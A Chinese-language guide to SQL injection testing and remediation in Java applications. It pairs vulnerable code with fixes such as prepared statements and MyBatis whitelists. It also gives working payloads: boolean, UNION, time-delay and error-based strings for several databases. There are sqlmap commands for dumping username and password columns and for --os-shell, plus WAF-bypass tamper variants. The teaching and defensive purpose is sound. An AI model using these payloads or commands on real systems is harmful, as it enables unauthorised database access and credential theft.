跳转至

SQL 注入测试与防御:payload、工具与代码级修复

SQL 注入的本质只有一个:用户输入被当成 SQL 语法的一部分拼接。下面按“哪里会注入 → 怎么验证 → 怎么修 → 怎么回归”展开。

1. 先找会拼接的位置

Java 项目里高风险的写法:

// 1. MyBatis:${} 是字符串替换,#{} 才是预编译
@Select("SELECT * FROM orders WHERE user_id = ${userId}")
List<Order> byUser(@Param("userId") Long userId);

// 2. ORDER BY / 表名 / 列名无法用占位符
String sql = "SELECT * FROM orders ORDER BY " + sortField;

// 3. LIKE 拼接
String sql = "SELECT * FROM users WHERE name LIKE '%" + keyword + "%'";

// 4. IN 拼接
String sql = "SELECT * FROM orders WHERE id IN (" + ids + ")";

// 5. JdbcTemplate 字符串拼接
jdbcTemplate.query("SELECT * FROM t WHERE a='" + a + "'", mapper);

按出现频率排:ORDER BY、LIKE、IN、动态表名(分表)、报表导出、后台管理搜索。

2. 判断注入类型

以 https://target/item?id=1 为例。

1'                         → 报错或页面异常
1 AND 1=1                  → 正常
1 AND 1=2                  → 内容变化/为空
1' ORDER BY 1-- -          → 正常
1' ORDER BY 10-- -         → 报错(列数 < 10)
1' UNION SELECT 1,2,3-- -  → 找回显位

各数据库的延时 payload(用于盲注确认):

数据库 payload
MySQL 1' AND SLEEP(5)-- -
PostgreSQL 1'; SELECT pg_sleep(5)-- -
SQL Server 1'; WAITFOR DELAY '0:0:5'-- -
Oracle 1' AND 1=dbms_pipe.receive_message('a',5)-- -

MySQL 报错注入:

1' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
1' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -

MySQL 8.0.33 起 extractvalue 仍可用;若被禁用,改用布尔或时间盲注。

3. sqlmap:用对参数比跑得久更重要

# 基础探测(默认 BEUST 全试)
sqlmap -u "https://target/item?id=1" --batch --dbs

# 带登录态:直接读 Burp 保存的请求,避免手抄 Cookie
sqlmap -r request.txt -p id --level=3 --risk=2 --batch

# 指定技术:B 布尔、E 报错、U 联合、S 堆叠、T 时间
sqlmap -u "https://target/item?id=1" --technique=BEU --batch

# 定位到库表后只 dump 需要的列,避免拖库
sqlmap -u "..." -D shop -T users -C username,password --dump

# 判断是否有 WAF
sqlmap -u "..." --identify-waf --batch

常见参数含义:

参数 作用 建议
--level 测试的注入点范围(1-5) 3 足够覆盖 Header
--risk 风险等级(1-3) 3 会尝试 UPDATE,慎用
--threads 并发 盲注可 5-10,避免打挂
--delay 请求间隔 有 WAF 时 0.5-1s
--tamper 变形脚本 见下
--os-shell 尝试命令执行 授权测试且明确允许才用

4. WAF 绕过:tamper 的真实效果

sqlmap -u "..." --tamper=space2comment,between,randomcase --batch
tamper 作用 示例
space2comment 空格换 /**/ SELECT id → SELECT/**/id
space2plus 空格换 + SELECT+id
space2randomblank 空格换随机空白符 %09、%0a
randomcase 关键字随机大小写 SeLeCt
between > 换 NOT BETWEEN 0 AND 绕过比较符过滤
charencode URL 编码 %53%45%4C%45%43%54
base64encode Base64 编码(需服务端解码) 少见

手工验证常用变体:

/*!50000SELECT*/ 1,2,3
UnIoN SeLeCt
SELECT%0aid
id=1%20AND%201=1
id=1/**/AND/**/1=1

绕过只在授权范围内做,且要控制请求频率。

5. 修复:三种正确姿势

5.1 预编译(首选)

String sql = "SELECT id, amount FROM orders WHERE user_id = ? AND status = ?";
try (PreparedStatement ps = conn.prepareStatement(sql)) {
    ps.setLong(1, userId);
    ps.setString(2, status);
    try (ResultSet rs = ps.executeQuery()) {
        // ...
    }
}

5.2 MyBatis:#{} + 白名单

<!-- 错误 -->
<select id="list" resultType="Order">
  SELECT * FROM orders ORDER BY ${sort}
</select>

<!-- 正确:排序字段走白名单 -->
<select id="list" resultType="Order">
  SELECT * FROM orders
  ORDER BY
  <choose>
    <when test="sort == 'amount'">amount</when>
    <when test="sort == 'created_at'">created_at</when>
    <otherwise>id</otherwise>
  </choose>
  ${order == 'asc' ? 'ASC' : 'DESC'}
</select>

${} 不是绝对不能用,但只能接已经过白名单校验的值(排序字段、表名、方向)。

5.3 LIKE 与 IN

// LIKE:把 % 放进参数值,而不是 SQL 里
String sql = "SELECT * FROM users WHERE name LIKE ?";
ps.setString(1, "%" + keyword + "%");

// IN:按数量动态生成占位符
String placeholders = String.join(",", Collections.nCopies(ids.size(), "?"));
String sql = "SELECT * FROM orders WHERE id IN (" + placeholders + ")";
// 再逐个 setLong

6. 二次注入:扫描器发现不了的那种

1. 用户在昵称里存 `admin'-- -`(存库时转义,看起来安全)
2. 后台导出功能把这个昵称拼进 SQL:
   "SELECT * FROM logs WHERE nick = '" + nick + "'"
3. 注入在导出时触发

测试方法:先写入带 ' 的脏数据,再触发所有“读取并拼接”的功能(导出、报表、同步、消息模板)。

7. 验证修复

不要只重放原始 payload:

□ 数字型参数:1 AND 1=2
□ 字符型参数:' OR '1'='1
□ ORDER BY:sort=id,(select 1)
□ LIKE:keyword=%' AND 1=1-- -
□ IN:ids=1) OR 1=1-- -
□ Header:X-Forwarded-For、User-Agent
□ 二次注入:写入脏数据后走导出
□ 报错页面:是否返回 SQL 片段/堆栈
□ 数据库账号:是否为只读最小权限

同时检查:错误页是否还包含 SQLSyntaxErrorException、表名、字段名;日志里是否打印了完整 SQL。

8. 一个真实的排查记录

现象:后台“订单导出”在 sort=amount 时返回全量数据。

定位:

1. 抓包发现 sort 参数直接进入 SQL
2. 传 sort=amount,(select 1) 报错,确认拼接
3. 代码:ORDER BY ${sort}

修复:白名单映射 amount → o.amount,非白名单回落到 o.id;上线后回归 9 组 payload 全部被拒。

相关阅读